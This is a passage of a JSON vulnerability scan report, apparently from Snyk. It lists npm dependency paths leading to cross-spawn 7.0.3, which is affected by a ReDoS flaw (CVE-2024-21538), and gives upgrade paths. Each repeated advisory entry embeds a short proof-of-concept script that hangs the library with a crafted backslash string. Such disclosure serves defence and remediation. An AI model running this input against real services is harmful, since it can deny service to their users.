"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-profile@12.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.6.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <